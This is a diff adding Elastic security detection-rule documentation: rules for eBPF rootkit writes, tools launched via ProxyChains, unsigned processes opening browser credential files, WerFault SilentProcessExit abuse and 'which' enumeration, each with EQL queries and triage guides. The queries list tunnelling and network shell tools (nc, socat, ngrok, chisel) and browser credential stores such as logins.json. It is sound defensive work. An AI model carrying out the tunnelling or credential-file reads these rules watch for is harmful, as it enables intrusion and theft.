safe. +- Security software or intrusion detection systems might utilize this helper as part of their normal operations. Coordinate with your security team to recognize these activities and adjust the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data manipulation. +- Terminate any suspicious processes associated with the `bpf_probe_write_user` helper to halt potential malicious activity. +- Conduct a thorough review of recent system changes and installed software to identify unauthorized modifications or installations. +- Restore affected systems from a known good backup to ensure the integrity of user space memory and system files. +- Implement stricter access controls and monitoring on systems with eBPF capabilities to prevent unauthorized use of the `bpf_probe_write_user` helper. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Update detection mechanisms to include additional indicators of compromise related to eBPF rootkits and similar threats, enhancing future threat detection capabilities. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and message:"bpf_probe_write_user" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-utility-launched-via-proxychains.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-utility-launched-via-proxychains.asciidoc new file mode 100644 index 0000000000..10dbdedfb4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-utility-launched-via-proxychains.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-suspicious-utility-launched-via-proxychains]] +=== Suspicious Utility Launched via ProxyChains + +This rule monitors for the execution of suspicious linux tools through ProxyChains. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Utility Launched via ProxyChains* + + +Attackers can leverage `proxychains` to obfuscate their origin and bypass network defenses by routing their malicious traffic through multiple intermediary servers. + +This rule looks for a list of suspicious processes spawned through `proxychains` by analyzing process command line arguments. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate network obfuscation. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- ProxyChains Activity - 4b868f1f-15ff-4ba3-8c11-d5a7a6356d37 +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses this utility for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "proxychains" and process.args : ( + "ssh", "sshd", "sshuttle", "socat", "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng", + "ssf", "3proxy", "ngrok", "gost", "pivotnacci", "chisel*", "nmap", "ping", "python*", "php*", "perl", "ruby", + "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk", "java", "telnet", "ftp", "curl", "wget" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Multi-hop Proxy +** ID: T1090.003 +** Reference URL: https://attack.mitre.org/techniques/T1090/003/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-web-browser-sensitive-file-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-web-browser-sensitive-file-access.asciidoc new file mode 100644 index 0000000000..96b8c52535 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-web-browser-sensitive-file-access.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-suspicious-web-browser-sensitive-file-access]] +=== Suspicious Web Browser Sensitive File Access + +Identifies the access or file open of web browser sensitive files by an untrusted/unsigned process or osascript. Adversaries may acquire credentials from web browsers by reading files specific to the target browser. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securelist.com/calisto-trojan-for-macos/86543/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Information Stealer +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 217 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Web Browser Sensitive File Access* + + +Web browsers store sensitive data like cookies and login credentials in specific files. Adversaries exploit this by accessing these files using untrusted or unsigned processes, potentially stealing credentials. The detection rule identifies such unauthorized access on macOS by monitoring file access events, focusing on untrusted processes or scripts, and excluding known safe executables, thus flagging potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process executable path and name to determine if it is a known legitimate application or script, focusing on those not signed by trusted entities or identified as osascript. +- Check the process code signature details to verify if the process is unsigned or untrusted, which could indicate malicious activity. +- Investigate the user account associated with the process to determine if there is any unusual or unauthorized activity, such as unexpected logins or privilege escalations. +- Examine the file access event details, including the specific sensitive file accessed (e.g., cookies.sqlite, logins.json), to assess the potential impact on credential security. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional suspicious activities that might indicate a broader compromise. +- Verify if the process executable path matches any known safe paths, such as the excluded path for the Elastic Endpoint, to rule out false positives. + + +*False positive analysis* + + +- Access by legitimate applications: Some legitimate applications may access browser files for valid reasons, such as backup or synchronization tools. Users can create exceptions for these applications by adding their code signatures to the exclusion list. +- Developer or testing scripts: Developers might use scripts like osascript for testing purposes, which could trigger the rule. To manage this, users can whitelist specific scripts or processes used in development environments. +- Security software interactions: Security tools might access browser files as part of their scanning or monitoring activities. Users should verify the legitimacy of these tools and add them to the exclusion list if they are trusted. +- System maintenance tasks: Automated system maintenance tasks might access browser files. Users can identify these tasks and exclude them if they are part of routine system operations and deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any untrusted or unsigned processes identified in the alert, especially those accessing sensitive browser files. +- Conduct a thorough review of the affected system's recent activity logs to identify any additional suspicious behavior or potential lateral movement. +- Change all potentially compromised credentials, focusing on those stored in the affected web browsers, and enforce multi-factor authentication where possible. +- Restore any altered or deleted sensitive files from a known good backup to ensure data integrity. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update endpoint protection and monitoring tools to enhance detection capabilities for similar unauthorized access attempts in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action == "open" and host.os.type == "macos" and process.executable != null and + file.name like~ ("cookies.sqlite", + "key?.db", + "logins.json", + "Cookies", + "Cookies.binarycookies", + "Login Data") and + ((process.code_signature.trusted == false or process.code_signature.exists == false) or process.name == "osascript") and + not process.code_signature.signing_id == "org.mozilla.firefox" and +not ?Effective_process.executable like "/Library/Elastic/Endpoint/elastic-endpoint.app/Contents/MacOS/elastic-endpoint" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Credentials from Web Browsers +** ID: T1555.003 +** Reference URL: https://attack.mitre.org/techniques/T1555/003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-werfault-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-werfault-child-process.asciidoc new file mode 100644 index 0000000000..34516d2caa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-werfault-child-process.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-suspicious-werfault-child-process]] +=== Suspicious WerFault Child Process + +A suspicious WerFault child process was detected, which may indicate an attempt to run via the SilentProcessExit registry key manipulation. Verify process details such as command line, network connections and file writes. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.hexacorn.com/blog/2019/09/19/silentprocessexit-quick-look-under-the-hood/ +* https://www.hexacorn.com/blog/2019/09/20/werfault-command-line-switches-v0-1/ +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +* http://web.archive.org/web/20230530011556/https://blog.menasec.net/2021/01/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 421 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious WerFault Child Process* + + +WerFault.exe is a Windows error reporting tool that handles application crashes. Adversaries may exploit it by manipulating the SilentProcessExit registry key to execute malicious processes stealthily. The detection rule identifies unusual child processes of WerFault.exe, focusing on specific command-line arguments indicative of this abuse, while excluding known legitimate executables, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the command line arguments of the suspicious child process to confirm the presence of "-s", "-t", and "-c" flags, which indicate potential abuse of the SilentProcessExit mechanism. +- Examine the process executable path to ensure it is not one of the known legitimate executables ("?:\Windows\SysWOW64\Initcrypt.exe", "?:\Program Files (x86)\Heimdal\Heimdal.Guard.exe") that are excluded from the detection rule. +- Investigate the network connections established by the suspicious process to identify any unusual or unauthorized external communications. +- Analyze file writes and modifications made by the process to detect any unauthorized changes or potential indicators of compromise. +- Check the parent process tree to understand the context of how WerFault.exe was invoked and identify any preceding suspicious activities or processes. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Microsoft Defender XDR, Sysmon, or SentinelOne to gather additional context and assess the scope of the potential threat. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger WerFault.exe with command-line arguments similar to those used in the SilentProcessExit mechanism. Users should verify the digital signature of the executable and check if it aligns with known update processes. +- Security software or system management tools might use WerFault.exe for legitimate purposes. Users can create exceptions for these known tools by adding their executables to the exclusion list in the detection rule. +- Custom scripts or enterprise applications that utilize WerFault.exe for error handling could be flagged. Review the process details and, if verified as non-threatening, add these scripts or applications to the exclusion list. +- Frequent occurrences of the same process being flagged can indicate a benign pattern. Users should monitor these patterns and, if consistently verified as safe, update the rule to exclude these specific processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further potential malicious activity and lateral movement. +- Terminate the suspicious child process of WerFault.exe immediately to halt any ongoing malicious actions. +- Conduct a thorough review of the SilentProcessExit registry key to identify and remove any unauthorized entries that may have been used to execute the malicious process. +- Restore any altered or deleted files from a known good backup to ensure system integrity and recover any lost data. +- Update and run a full antivirus and anti-malware scan on the affected system to detect and remove any additional threats or remnants of the attack. +- Monitor network traffic and system logs for any signs of persistence mechanisms or further attempts to exploit the SilentProcessExit mechanism. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + + process.parent.name : "WerFault.exe" and + + /* args -s and -t used to execute a process via SilentProcessExit mechanism */ + (process.parent.args : "-s" and process.parent.args : "-t" and process.parent.args : "-c") and + + not process.executable : ("?:\\Windows\\SysWOW64\\Initcrypt.exe", "?:\\Program Files (x86)\\Heimdal\\Heimdal.Guard.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-which-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-which-enumeration.asciidoc new file mode 100644 index 0000000000..eaffe3578b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-which-enumeration.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-suspicious-which-enumeration]] +=== Suspicious which Enumeration + +This rule monitors for the usage of the which command with an unusual amount of process arguments. Attackers may leverage the which command to enumerate the system for useful installed utilities that may be used after compromising a system to escalate privileges or move latteraly across the network. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious which Enumeration* + + +The `which` command in Linux environments is typically used to locate the executable path of a command. Adversaries may exploit this utility to identify installed software that can aid in privilege escalation or lateral movement. The detection rule flags unusual usage patterns, such as excessive arguments, which may indicate malicious enumeration. It filters out benign scenarios, focusing on potential threats by examining process attributes and parent-child relationships. + + +*Possible investigation steps* + + +- Review the process details to confirm the command line arguments used with the which command, focusing on whether the args_count is unusually high and if the arguments are related to known enumeration or exploitation tools. +- Examine the parent process of the which command to determine if it is a legitimate process or if it is associated with suspicious activity, especially if it is not one of the excluded parent names or paths. +- Investigate the user account associated with the process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations. +- Check for any other recent alerts or logs related to the same host or user that might indicate a broader attack pattern or ongoing compromise. +- Assess the network activity from the host to identify any connections to known malicious IP addresses or unusual outbound traffic that could suggest lateral movement or data exfiltration. + + +*False positive analysis* + + +- Processes initiated by the 'jem' parent process may trigger false positives. To handle this, add 'jem' to the list of exceptions in the rule configuration. +- Executions within containerized environments, such as those under '/vz/root/' or '/var/lib/docker/', are often benign. Exclude these paths from the rule to reduce noise. +- The '--tty-only' argument is typically used in legitimate scenarios. Consider adding this argument to the exception list to prevent unnecessary alerts. +- If the rule is noisy due to common utilities like 'nmap', 'nc', 'gcc', or 'socat' being used with shell interpreters like 'bash' or 'zsh', refine the rule by excluding these combinations. +- Regularly review and update the list of exceptions based on the evolving environment and usage patterns to maintain an effective balance between detection and false positive reduction. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the `which` command that have an unusually high number of arguments, as identified by the detection rule. +- Conduct a thorough review of the system's installed software and utilities to identify any unauthorized or suspicious installations that could be leveraged for privilege escalation. +- Analyze the process tree and parent-child relationships of the flagged `which` command execution to identify potential malicious scripts or binaries that initiated the command. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement enhanced monitoring and logging for the `which` command and similar enumeration tools to detect future misuse. +- Review and update access controls and permissions to ensure that only authorized users have the ability to execute potentially sensitive commands and utilities. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start") and + process.name == "which" and process.args_count >= 10 and not ( + process.parent.name == "jem" or + process.parent.executable like ("/vz/root/*", "/var/lib/docker/*") or + process.args == "--tty-only" + ) + +/* potential tuning if rule would turn out to be noisy +and process.args in ("nmap", "nc", "ncat", "netcat", nc.traditional", "gcc", "g++", "socat") and +process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-windows-command-shell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-windows-command-shell-arguments.asciidoc new file mode 100644 index 0000000000..6649e6bd86 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-windows-command-shell-arguments.asciidoc @@ -0,0 +1,267 @@ +[[prebuilt-rule-8-19-34-suspicious-windows-command-shell-arguments]] +=== Suspicious Windows Command Shell Arguments + +Identifies the execution of the Windows Command Shell process (cmd.exe) with suspicious argument values. This behavior is often observed during malware installation. + +*Rule type*: eql + +*Rule indices*: + +* 